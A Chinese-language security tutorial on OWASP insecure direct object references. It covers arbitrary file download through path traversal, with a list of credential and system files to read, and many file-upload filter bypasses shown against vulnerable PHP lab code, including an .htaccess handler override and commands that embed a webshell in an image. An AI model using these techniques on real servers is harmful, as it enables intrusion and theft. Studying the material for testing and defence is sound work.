Fork me on GitHub

OWASP TOP 10 之 不安全的对象直接引用

OWASP TOP 10 之 不安全的对象直接引用(文件上传与下载)

参考案例:WooYun.org

任意文件下载

漏洞介绍:

一些网站由于业务需求,往往需要提供文件查看或文件下载功能,但若对用户查看或下载的文件或者文件路径不做限制,则恶意用户就能够查看或下载任意敏感文件,这就是文件查看与下载漏洞。

漏洞可能存在的地方:

任意可以文件包括图片下载的页面。url关键词为download 或者 filename=

利用方式:

一般连接形式:

download.php?path=
down.php?file=
data.php?file=

例如:

 

 ps:../表示上级目录。在Linux中,../../../../多个../会到Linux系统的根目录。但是win不行

或者包含参数:

&Src=
&Inputfile=
&Filepath=
&Path=
&Data=

当遇到一个任意文件下载时,我们的一般利用思路:

(1)下载常规的配置文件,例如: ssh,weblogic,ftp,mysql等相关配置(从配置文件中我们可以查看不安全配置相关漏洞,一些访问控制不合理还可能导致越权漏洞...甚至还可以从一些密码文件获取用户名和密码)

(2)下载各种.log日志文件,从中寻找一些后台地址,文件上传点之类的地方,如果运气好的话会获得一些前辈们的后门。

(3)下载web业务文件进行白盒审计,利用漏洞进一步攻入服务器。
尝试读取/root/.bash_history看自己是否具有root权限。如果没有的话。我们只能按部就班的利用../来回跳转读取一些.ssh下的配置信息文件,读取mysql下的.bash_history文件。来查看是否记录了一些可以利用的相关信息。然后逐个下载我们需要审计的代码文件,但是下载的时候变得很繁琐,我们只能尝试去猜解目录,然后下载一些中间件的记录日志进行分析。(从历史命令分析我当前系统权限是什么身份,可以进行什么样的操作)

(4)如果我们遇到的是java+oracle环境

可以先下载/WEB-INF/classes/applicationContext.xml 文件,这里面记载的是web服务器的相应配置,然后下载/WEB-INF/classes/xxx/xxx/ccc.class对文件进行反编译,然后搜索文件中的upload关键字看是否存在一些api接口,如果存在的话我们可以本地构造上传页面用api接口将我们的文件传输进服务器

(5)如果具有root权限

在linux中有这样一个命令 locate 是用来查找文件或目录的,它不搜索具体目录,而是搜索一个数据库/var/lib/mlocate/mlocate.db。这个数据库中含有本地所有文件信息。Linux系统自动创建这个数据库,并且每天自动更新一次。当我们不知道路径是什么的情况下,这个可以说是一个核武器了,我们利用任意文件下载漏洞mlocate.db文件下载下来,利用locate命令将数据输出成文件,这里面包含了全部的文件路径信息。

locate 读取方法: locate mlocate.db admin //可以将mlocate.db中包含admin文件名的内容全部输出来

常见利用文件

/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts //记录每个访问计算机用户的公钥
/etc/passwd
/etc/shadow
/etc/my.cnf //mysql配置文件
/etc/httpd/conf/httpd.conf //apache配置文件
/root/.bash_history //用户历史命令记录文件
/root/.mysql_history //mysql历史命令记录文件
/proc/mounts //记录系统挂载设备
/porc/config.gz //内核配置文件
/var/lib/mlocate/mlocate.db //全文件路径
/porc/self/cmdline //当前进程的cmdline参数

漏洞修复:

(1)过滤".",使用户在url中不能回溯上级目录../。

(2)正则严格判断用户输入参数的格式。例如:写代码时把下载目录写死

(3)php.ini配置open_basedir限定文件访问范围(这是运维人员的操作方式!)

任意文件上传

概述:

大多数网站都有文件上传的接口,但如果在后台开发时并没有对上传的文件进行安全过滤或采用了有缺陷的措施,导致攻击者可以通过一些手段绕过安全措施从而上传一些恶意文件从而通过该恶意文件的访问来控制整个后台

测试流程:

 

绕过规则总思路:我们遵守规则,然后寻找或者创造其他的规则!

1、客户端检测绕过(javascript 检测)

首先观察到提示只允许上传图片文件,那么前端的查看代码,当页面发生改变时,会调用这个checkFileExt函数来检查上传的是不是图片,我们只需要在前端将checkFileExt函数删除,就能上传一个一个非图片文件。

例如:

绕过后缀名过滤

服务端做了过滤,要求上传文件为图片。那么我们可以通过先更改文件后缀名,然后抓包把文件名改回来(因为抓包时文件已经经过了服务端过滤,content-type显示为img。过关后可以卸妆啦!)。最后上传到服务器后,进而通过上传的payload进行下一步操作。

只允许上传图片,且以后缀名做判断。所以把.php payload后缀名改为.jpg

 

 

 然后抓取上传的包:

 把hao.jpg改为hao.php后,放包。

上传成功后,使用对应上传路径(url)访问。发现payload执行成功!

服务端绕过

后缀绕过

白名单绕过(白名单问题就很程序员没关系了)
2、绕过(MIME 类型检测)

MIME(Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式。

每个MIME类型由两部分组成,前面是数据的大类别,例如声音audio、图象image等,后面定义具体的种类。

常见的MIME类型(通用型):
超文本标记语言文本 .html text/html
xml文档 .xml text/xml
XHTML文档 .xhtml application/xhtml+xml
普通文本 .txt text/plain
RTF文本 .rtf application/rtf
PDF文档 .pdf application/pdf
Microsoft Word文件 .word application/msword
PNG图像 .png image/png
GIF图形 .gif image/gif
JPEG图形 .jpeg,.jpg image/jpeg
au声音文件 .au audio/basic
MIDI音乐文件 mid,.midi audio/midi,audio/x-midi
RealAudio音乐文件 .ra, .ram audio/x-pn-realaudio
MPEG文件 .mpg,.mpeg video/mpeg
AVI文件 .avi video/x-msvideo
GZIP文件 .gz application/x-gzip
TAR文件 .tar application/x-tar
任意的二进制数据 application/octet-stream

通过使用 PHP 的全局数组 $_FILES,你可以从客户计算机向远程服务器上传文件。
第一个参数是表单的 input name,第二个下标可以是 "name", "type", "size", "tmp_name" 或 "error"。就像这样:

$_FILES["file"]["name"] - 被上传文件的名称
$_FILES["file"]["type"] - 被上传文件的类型
$_FILES["file"]["size"] - 被上传文件的大小,以字节计
$_FILES["file"]["tmp_name"] - 存储在服务器的文件的临时副本的名称
$_FILES["file"]["error"] - 由文件上传导致的错误代码

详细可参考:http://www.w3school.com.cn/php/php_file_upload.asp

分析代码逻辑:首先会获取到前端的提交请求,然后定义了一个数组(定义图片上传指定类型),然后通过upload_sick函数对上传的文件进行一定的检查。
分析upload_sick函数存在漏洞的的原因是因为 $ _FILES() 这个全局的方法是通过浏览器http头去获取的content-type,content-type是前端用户可以控制的。容易被绕过。
上传一张正常的符合标准的图片,对其content-type进行抓包操作。可见正常上传符合要求的图片中数据包中content-type为image/png对比符合条件,而php文件则不符合条件返回文件类型错误。

如下:

在上面的试验基础上,我们遇到了新的问题!通过抓包我们发现有了新的过滤:content-type文件头过滤(指定文件打开方式,上传文件类型和指定类型不同则上传失败!)

前端做了过滤,要求上传文件为图片。那么我们可以通过先更改文件后缀名,然后抓包把文件名改回来(因为抓包时文件已经经过了前端过滤。过关后可以卸妆啦!)。然而高兴早了,content-type显示为application/octet-stream,类型不符!这个时候我们只需要更改content-type值就可以啦。当我们改为img类型时,发现上传成功。实际生产中可以多试几个类型最好是直接选择和自己上传内容形同的类型!。

最后上传到服务器后,进而通过上传的payload进行下一步操作。

只允许上传图片,且以后缀名做判断。所以把.php payload后缀名改为.jpg

 

 然后抓取上传的包:

 把hao.jpg改为hao.php,把content.type值改为image/jpeg。放包。

上传成功后,使用对应上传路径(url)访问。发现payload执行成功!

 3、%00截断

原理:%00经过url转码后,会变为\00。\00包括自身及以后所有的内容都会被舍弃。借此,我们可以将save_path改为1.php%00,在上传文件1.jpg被存入该路径后内容会存入该文件1.php/001.jpg=1.php。这样的话,我们自然可以把上传payload当做PHP执行!

前提条件:服务端php版本要小于5.3.4;magic_quotes_gpc需要为off状态

源代码:

1 $is_upload = false;
 2 $msg = null;
 3 if(isset($_POST[‘submit‘])){
 4     $ext_arr = array(‘jpg‘,‘png‘,‘gif‘);
 5     $file_ext = substr($_FILES[‘upload_file‘][‘name‘],strrpos($_FILES[‘upload_file‘][‘name‘],".")+1);
 6     if(in_array($file_ext,$ext_arr)){
 7         $temp_file = $_FILES[‘upload_file‘][‘tmp_name‘];
 8         $img_path = $_GET[‘save_path‘]."/".rand(10, 99).date("YmdHis").".".$file_ext;
 9 
10         if(move_uploaded_file($temp_file,$img_path)){
11             $is_upload = true;
12         }
13         else{
14             $msg = ‘上传失败!‘;
15         }
16     }
17     else{
18         $msg = "只允许上传.jpg|.png|.gif类型文件!";
19     }
20 }

分析代码,这是以时间戳的方式对上传文件进行重命名,使用上传路径名%00截断绕过,不过这需要对文件有足够的权限,比如说创建文件夹,上传的文件名写成1.jpg, save_path改成../upload/1.php%00 (1.php%00.jpg经过url转码后会变为1.php\000.jpg),最后保存下来的文件就是1.php

 

 

 

修复建设:使用PHP版本要5.3.4及以上,5.3.4及以上已经修复该问题;也可以开启magic_quotes_gpc

4、0x00绕过

原理:

原理同%00一样,上传路径0x00绕过。利用BurpsuiteHex功能将save_path改成../upload/1.php【二进制00形式

源代码:

 

 1 $is_upload = false;
 2 $msg = null;
 3 if(isset($_POST[‘submit‘])){
 4     $ext_arr = array(‘jpg‘,‘png‘,‘gif‘);
 5     $file_ext = substr($_FILES[‘upload_file‘][‘name‘],strrpos($_FILES[‘upload_file‘][‘name‘],".")+1);
 6     if(in_array($file_ext,$ext_arr)){
 7         $temp_file = $_FILES[‘upload_file‘][‘tmp_name‘];
 8         $img_path = $_POST[‘save_path‘]."/".rand(10, 99).date("YmdHis").".".$file_ext;
 9 
10         if(move_uploaded_file($temp_file,$img_path)){
11             $is_upload = true;
12         }
13         else{
14             $msg = "上传失败";
15         }
16     }
17     else{
18         $msg = "只允许上传.jpg|.png|.gif类型文件!";
19     }
20 }

 

更改方式:12.php空格然后打开hex将空格20改为00

 

 

 和%00一样,上传后结果为12.php

此外还有

0x0a截断.....

黑名单绕过(最不靠谱的过滤防御方式)

5、绕过(‘.asp‘,‘.aspx‘,‘.php‘,‘.jsp‘)黑名单过滤

源代码:

1 $is_upload = false;
 2 $msg = null;
 3 if (isset($_POST[‘submit‘])) {
 4     if (file_exists($UPLOAD_ADDR)) {
 5         $deny_ext = array(‘.asp‘,‘.aspx‘,‘.php‘,‘.jsp‘);
 6         $file_name = trim($_FILES[‘upload_file‘][‘name‘]);
 7         $file_name = deldot($file_name);//删除文件名末尾的点
 8         $file_ext = strrchr($file_name, ‘.‘);
 9         $file_ext = strtolower($file_ext); //转换为小写
10         $file_ext = str_ireplace(‘::$DATA‘, ‘‘, $file_ext);//去除字符串数据流::$DATA
11         $file_ext = trim($file_ext); //收尾去空
12 
13         if(!in_array($file_ext, $deny_ext)) {
14             if (move_uploaded_file($_FILES[‘upload_file‘][‘tmp_name‘], $UPLOAD_ADDR. ‘/‘ . $_FILES[‘upload_file‘][‘name‘])) {
15                  $img_path = $UPLOAD_ADDR .‘/‘. $_FILES[‘upload_file‘][‘name‘];
16                  $is_upload = true;
17             }
18         } else {
19             $msg = ‘不允许上传.asp,.aspx,.php,.jsp后缀文件!‘;
20         }
21     } else {
22         $msg = $UPLOAD_ADDR . ‘文件夹不存在,请手工创建!‘;
23     }
24 }

我们可上传php3,php5...等这样可以被服务器解析的后缀名

 

htaccess文件上传

源代码:

 1 $is_upload = false;
 2 $msg = null;
 3 if (isset($_POST[‘submit‘])) {
 4     if (file_exists($UPLOAD_ADDR)) {
 5         $deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
 6         $file_name = trim($_FILES[‘upload_file‘][‘name‘]);
 7         $file_name = deldot($file_name);//删除文件名末尾的点
 8         $file_ext = strrchr($file_name, ‘.‘); //程序从后面开始查找 '.' 的位置,并返回从 '.' 开始到字符串结尾的所有字符
 9         $file_ext = strtolower($file_ext); //转换为小写
10         $file_ext = str_ireplace(‘::$DATA‘, ‘‘, $file_ext);//去除字符串::$DATA
11         $file_ext = trim($file_ext); //收尾去空
12 
13         if (!in_array($file_ext, $deny_ext)) {
14             if (move_uploaded_file($_FILES[‘upload_file‘][‘tmp_name‘], $UPLOAD_ADDR . ‘/‘ . $_FILES[‘upload_file‘][‘name‘])) {
15                 $img_path = $UPLOAD_ADDR . $_FILES[‘upload_file‘][‘name‘];
16                 $is_upload = true;
17             }
18         } else {
19             $msg = ‘此文件不允许上传!‘;
20         }
21     } else {
22         $msg = $UPLOAD_ADDR . ‘文件夹不存在,请手工创建!‘;
23     }
24 }

分析代码发现,这里对上传的后缀名的判断增加了,php3.php5....已经不允许上传,但是没有限制.htaccess文件的上传。

注:.htaccess文件内容为:

 

<FilesMatch "">//留空
SetHandler application/x-httpd-php//任意文件可以上传
</FilesMatch>

 

该文件被上传后,我们上传所有的文件都会被当做php文件执行。因此我们接下来可以上传扩展名为.jpg实则是php文件的文件!,上传后就可以以php文件执行了

6.利用php和window环境的叠加特性进行欺骗。

另外一种方法就是利用PHP Windows环境的叠加特性,以下符号在正则匹配时的相等性:

 

双引号"     =   点号.
大于符号>   =   问号?
小于符号<   =   星号*

 

同时,我们需要注意到window系统时不允许;.jpg/php...等等文件命名格式的,但是过滤程序不一定不支持也不一定就给过滤了。所以我们可以结合以上特性使用以下步骤:

①给要上传的PHP文件命名为:6.php;.jpg  过滤程序认为他是.jpg文件,然而到Windows系统后:.jpg因为不被支持所以无法显示,文件名就转化为了6.php。但是文件为空

②然后利用上边符号正则匹配时的相等性,给这个空文件添加内容。

源代码:

 1 $is_upload = false;
 2 $msg = null;
 3 if (isset($_POST[‘submit‘])) {
 4     if (file_exists($UPLOAD_ADDR)) {
 5         $deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
 6         $file_name = trim($_FILES[‘upload_file‘][‘name‘]);
 7         $file_name = deldot($file_name);//删除文件名末尾的点
 8         $file_ext = strrchr($file_name, ‘.‘); //程序从后面开始查找 '.' 的位置,并返回从 '.' 开始到字符串结尾的所有字符
 9         $file_ext = strtolower($file_ext); //转换为小写
10         $file_ext = str_ireplace(‘::$DATA‘, ‘‘, $file_ext);//去除字符串::$DATA
11         $file_ext = trim($file_ext); //收尾去空
12 
13         if (!in_array($file_ext, $deny_ext)) {
14             if (move_uploaded_file($_FILES[‘upload_file‘][‘tmp_name‘], $UPLOAD_ADDR . ‘/‘ . $_FILES[‘upload_file‘][‘name‘])) {
15                 $img_path = $UPLOAD_ADDR . $_FILES[‘upload_file‘][‘name‘];
16                 $is_upload = true;
17             }
18         } else {
19             $msg = ‘此文件不允许上传!‘;
20         }
21     } else {
22         $msg = $UPLOAD_ADDR . ‘文件夹不存在,请手工创建!‘;
23     }
24 }

改包方式:

添加内容:

然后将payload文件名再改为4.<4.<<<4.>>>4.>><后再次上传,重写4.php文件内容,Webshell代码就会写入原来的4.php空文件中。

7、依然使用Windows系统特性,文件名后加空格和点

源代码:

 

1 $is_upload = false;
 2 $msg = null;
 3 if (isset($_POST[‘submit‘])) {
 4     if (file_exists($UPLOAD_ADDR)) {
 5         $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
 6         $file_name = trim($_FILES[‘upload_file‘][‘name‘]);
 7         $file_name = deldot($file_name);//删除文件名末尾的点
 8         $file_ext = strrchr($file_name, ‘.‘);
 9         $file_ext = strtolower($file_ext); //转换为小写
10         $file_ext = str_ireplace(‘::$DATA‘, ‘‘, $file_ext);//去除字符串::$DATA
11         
12         if (!in_array($file_ext, $deny_ext)) {
13             if (move_uploaded_file($_FILES[‘upload_file‘][‘tmp_name‘], $UPLOAD_ADDR . ‘/‘ . $_FILES[‘upload_file‘][‘name‘])) {
14                 $img_path = $UPLOAD_ADDR . ‘/‘ . $file_name;
15                 $is_upload = true;
16             }
17         } else {
18             $msg = ‘此文件不允许上传‘;
19         }
20     } else {
21         $msg = $UPLOAD_ADDR . ‘文件夹不存在,请手工创建!‘;
22     }
23 }

 

利用Windows系统的文件名特性。文件名最后增加空格和点,写成1.php .,这个需要用burpsuite抓包修改,上传后保存在Windows系统上的文件名最后的一个.会被去掉,实际上保存的文件名就是1.php

 

 

8、依然是借助windows特性,文件名后加.或多个...

源代码:

1 $is_upload = false;
 2 $msg = null;
 3 if (isset($_POST[‘submit‘])) {
 4     if (file_exists($UPLOAD_ADDR)) {
 5         $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
 6         $file_name = trim($_FILES[‘upload_file‘][‘name‘]);
 7         $file_ext = strrchr($file_name, ‘.‘);
 8         $file_ext = strtolower($file_ext); //转换为小写
 9         $file_ext = str_ireplace(‘::$DATA‘, ‘‘, $file_ext);//去除字符串::$DATA
10         $file_ext = trim($file_ext); //首尾去空
11         
12         if (!in_array($file_ext, $deny_ext)) {
13             if (move_uploaded_file($_FILES[‘upload_file‘][‘tmp_name‘], $UPLOAD_ADDR . ‘/‘ . $_FILES[‘upload_file‘][‘name‘])) {
14                 $img_path = $UPLOAD_ADDR . ‘/‘ . $file_name;
15                 $is_upload = true;
16             }
17         } else {
18             $msg = ‘此文件不允许上传‘;
19         }
20     } else {
21         $msg = $UPLOAD_ADDR . ‘文件夹不存在,请手工创建!‘;
22     }
23 }

文件名后加点和空格,改成1.php.

 
9、过滤了点和空格怎么办?依然可以加点和空格点!

源代码:

 

 1 $is_upload = false;
 2 $msg = null;
 3 if (isset($_POST[‘submit‘])) {
 4     if (file_exists($UPLOAD_ADDR)) {
 5         $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
 6         $file_name = trim($_FILES[‘upload_file‘][‘name‘]);
 7         $file_name = deldot($file_name);//删除文件名末尾的点
 8         $file_ext = strrchr($file_name, ‘.‘);
 9         $file_ext = strtolower($file_ext); //转换为小写
10         $file_ext = str_ireplace(‘::$DATA‘, ‘‘, $file_ext);//去除字符串::$DATA
11         $file_ext = trim($file_ext); //首尾去空
12         
13         if (!in_array($file_ext, $deny_ext)) {
14             if (move_uploaded_file($_FILES[‘upload_file‘][‘tmp_name‘], $UPLOAD_ADDR . ‘/‘ . $_FILES[‘upload_file‘][‘name‘])) {
15                 $img_path = $UPLOAD_ADDR . ‘/‘ . $file_name;
16                 $is_upload = true;
17             }
18         } else {
19             $msg = ‘此文件不允许上传‘;
20         }
21     } else {
22         $msg = $UPLOAD_ADDR . ‘文件夹不存在,请手工创建!‘;
23     }
24 }

 

上传文件名后加上+空格+,改为1.php. .

 

10、文件名大小混写绕过

Windows系统不区分大小写。因此,当黑名单没有对大小混写过滤时,我们可以使用大小混写绕过!

源代码:

 

1 $is_upload = false;
 2 $msg = null;
 3 if (isset($_POST[‘submit‘])) {
 4     if (file_exists($UPLOAD_ADDR)) {
 5         $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
 6         $file_name = trim($_FILES[‘upload_file‘][‘name‘]);
 7         $file_name = deldot($file_name);//删除文件名末尾的点
 8         $file_ext = strrchr($file_name, ‘.‘);
 9         $file_ext = str_ireplace(‘::$DATA‘, ‘‘, $file_ext);//去除字符串::$DATA
10         $file_ext = trim($file_ext); //首尾去空
11 
12         if (!in_array($file_ext, $deny_ext)) {
13             if (move_uploaded_file($_FILES[‘upload_file‘][‘tmp_name‘], $UPLOAD_ADDR . ‘/‘ . $_FILES[‘upload_file‘][‘name‘])) {
14                 $img_path = $UPLOAD_ADDR . ‘/‘ . $file_name;
15                 $is_upload = true;
16             }
17         } else {
18             $msg = ‘此文件不允许上传‘;
19         }
20     } else {
21         $msg = $UPLOAD_ADDR . ‘文件夹不存在,请手工创建!‘;
22     }
23 }

 

分析代码,发现以.htaccess为后缀的文件已经不允许上传,但是  $file_ext = strtolower($file_ext); //转换为小写  这一句没有了,我们就可以使用文件名后缀大小写混合绕过,把1.php改为1.phP...来上传

 11、::$DATA数据流绕过

依然是Windows系统独有,连waf都能绕过!

源代码:

1 $is_upload = false;
 2 $msg = null;
 3 if (isset($_POST[‘submit‘])) {
 4     if (file_exists($UPLOAD_ADDR)) {
 5         $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
 6         $file_name = trim($_FILES[‘upload_file‘][‘name‘]);
 7         $file_name = deldot($file_name);//删除文件名末尾的点
 8         $file_ext = strrchr($file_name, ‘.‘);
 9         $file_ext = strtolower($file_ext); //转换为小写
10         $file_ext = trim($file_ext); //首尾去空
11         
12         if (!in_array($file_ext, $deny_ext)) {
13             if (move_uploaded_file($_FILES[‘upload_file‘][‘tmp_name‘], $UPLOAD_ADDR . ‘/‘ . $_FILES[‘upload_file‘][‘name‘])) {
14                 $img_path = $UPLOAD_ADDR . ‘/‘ . $file_name;
15                 $is_upload = true;
16             }
17         } else {
18             $msg = ‘此文件不允许上传‘;
19         }
20     } else {
21         $msg = $UPLOAD_ADDR . ‘文件夹不存在,请手工创建!‘;
22     }
23 }

分析代码,少了    $file_ext = str_ireplace(‘::$DATA‘, ‘‘, $file_ext);//去除字符串::$DATA    这一句,我们可以采用Windows文件流特性绕过,文件名改成

1.php::$DATA , 上传成功后保存的文件名其实是1.php

12、双写文件后缀名绕过

源代码:

1 $is_upload = false;
 2 $msg = null;
 3 if (isset($_POST[‘submit‘])) {
 4     if (file_exists($UPLOAD_ADDR)) {
 5         $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
 6 
 7         $file_name = trim($_FILES[‘upload_file‘][‘name‘]);
 8         $file_name = str_ireplace($deny_ext,"", $file_name);
 9         if (move_uploaded_file($_FILES[‘upload_file‘][‘tmp_name‘], $UPLOAD_ADDR . ‘/‘ . $file_name)) {
10             $img_path = $UPLOAD_ADDR . ‘/‘ .$file_name;
11             $is_upload = true;
12         }
13     } else {
14         $msg = $UPLOAD_ADDR . ‘文件夹不存在,请手工创建!‘;
15     }
16 }

分析代码,由于 $file_name = str_ireplace($deny_ext,"", $file_name);   只对文件后缀名进行一次过滤(只是删除后缀名),这样的话,双写文件后缀名绕过,文件名改成1.pphphp

内容绕过

文件包含漏洞之文件上传漏洞利用

方法一:直接伪造头部GIF89A

方法二:CMD方法,copy /b test.png+1.php muma.png。最大的缺点就是容易将木马合并到图片的末尾
方法三:直接使用工具增加备注写入一句话木马。

payload被植入图片上传到服务端后,需要进行include包含方式访问图片(include包含任何文件都是以脚本文件进行执行)

13、文件头绕过

原理:通过burpsuit我们可以更爱文件头限制,从而上传文件。

源代码:

1 function getReailFileType($filename){
 2     $file = fopen($filename, "rb");
 3     $bin = fread($file, 2); //只读2字节
 4     fclose($file);
 5     $strInfo = @unpack("C2chars", $bin);    
 6     $typeCode = intval($strInfo[‘chars1‘].$strInfo[‘chars2‘]);    
 7     $fileType = ‘‘;    
 8     switch($typeCode){      
 9         case 255216:            
10             $fileType = ‘jpg‘;
11             break;
12         case 13780:            
13             $fileType = ‘png‘;
14             break;        
15         case 7173:            
16             $fileType = ‘gif‘;
17             break;
18         default:            
19             $fileType = ‘unknown‘;
20         }    
21         return $fileType;
22 }
23 
24 $is_upload = false;
25 $msg = null;
26 if(isset($_POST[‘submit‘])){
27     $temp_file = $_FILES[‘upload_file‘][‘tmp_name‘];
28     $file_type = getReailFileType($temp_file);
29 
30     if($file_type == ‘unknown‘){
31         $msg = "文件未知,上传失败!";
32     }else{
33         $img_path = $UPLOAD_ADDR."/".rand(10, 99).date("YmdHis").".".$file_type;
34         if(move_uploaded_file($temp_file,$img_path)){
35             $is_upload = true;
36         }
37         else{
38             $msg = "上传失败";
39         }
40     }
41 }

绕过文件头检查,添加GIP图片的文件头GIF89a,绕过GIF图片检查。

 

 

 

或者我们使用命令copy 1.jpg /b + shell.php /a webshell.jpg,将php一句话追加到jpg图片末尾,代码不全的话,人工补充完整。形成一个包含Webshell代码的新jpg图片,然后直接上传即可。

但是这种方式容易将一句话木添加到图片代码末尾,不够隐蔽无法成功。

而且,我们没有办法拿到shell,因为我们上传的图片马无法被解析成php形式,通常图片马配合%00或者0x00截断上传,或者配合解析漏洞,文件包含includ方式加载运行!

14、代码注入绕过--getimagesize()

getimagesize() 函数用于获取图像类型,图像大小及相关信息,成功返回一个数组,失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息,如果用这个涵数来获取类型,从而判断是否是图片的话,会存在问题。

语法格式:

array getimagesize ( string $filename [, array &$imageinfo ] )

getimagesize() 函数将测定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 图像文件的大小并返回图像的尺寸以及文件类型及图片高度与宽度。

源代码:

 1 function isImage($filename){
 2     $types = ‘.jpeg|.png|.gif‘;
 3     if(file_exists($filename)){
 4         $info = getimagesize($filename);
 5         $ext = image_type_to_extension($info[2]);
 6         if(stripos($types,$ext)){
 7             return $ext;
 8         }else{
 9             return false;
10         }
11     }else{
12         return false;
13     }
14 }
15 
16 $is_upload = false;
17 $msg = null;
18 if(isset($_POST[‘submit‘])){
19     $temp_file = $_FILES[‘upload_file‘][‘tmp_name‘];
20     $res = isImage($temp_file);
21     if(!$res){
22         $msg = "文件未知,上传失败!";
23     }else{
24         $img_path = $UPLOAD_ADDR."/".rand(10, 99).date("YmdHis").$res;
25         if(move_uploaded_file($temp_file,$img_path)){
26             $is_upload = true;
27         }
28         else{
29             $msg = "上传失败";
30         }
31     }
32 }

只需要和上面一样,添加一个GIF89a即可

 

 但是并为逃脱php的另一个内置函数:

image_type_to_extension() 函数用于获取图片后缀

所以上传后依然需要用包含的方式进行php运行。

15、绕过exif_imagetype()

exif_imagetype()  此函数是php内置函数,用来获取图片类

1 function isImage($filename){
 2     //需要开启php_exif模块
 3     $image_type = exif_imagetype($filename);
 4     switch ($image_type) {
 5         case IMAGETYPE_GIF:
 6             return "gif";
 7             break;
 8         case IMAGETYPE_JPEG:
 9             return "jpg";
10             break;
11         case IMAGETYPE_PNG:
12             return "png";
13             break;    
14         default:
15             return false;
16             break;
17     }
18 }
19 
20 $is_upload = false;
21 $msg = null;
22 if(isset($_POST[‘submit‘])){
23     $temp_file = $_FILES[‘upload_file‘][‘tmp_name‘];
24     $res = isImage($temp_file);
25     if(!$res){
26         $msg = "文件未知,上传失败!";
27     }else{
28         $img_path = $UPLOAD_ADDR."/".rand(10, 99).date("YmdHis").".".$res;
29         if(move_uploaded_file($temp_file,$img_path)){
30             $is_upload = true;
31         }
32         else{
33             $msg = "上传失败";
34         }
35     }
36 }

 

同样的是增加GIF89a文件头

 

 16、绕过2次渲染

原理:将一个正常显示的图片,上传到服务器。寻找图片被渲染后与原始图片部分对比仍然相同的数据块部分,将Webshell代码插在该部分,然后上传。具体实现需要自己编写Python程序,人工尝试基本是不可能构造出能绕过渲染函数的图片webshell的。一万个图片里边才可能搞出这么一到三个图片来!

这里提供一个包含一句话webshell代码并可以绕过PHPimagecreatefromgif函数的GIF图片示例

php图像二次渲染:

https://blog.csdn.net/hitwangpeng/article/details/48661433

https://blog.csdn.net/hitwangpeng/article/details/46548849    

https://xz.aliyun.com/t/2657

源代码:

 

1 $is_upload = false;
 2 $msg = null;
 3 if (isset($_POST[‘submit‘])){
 4     // 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
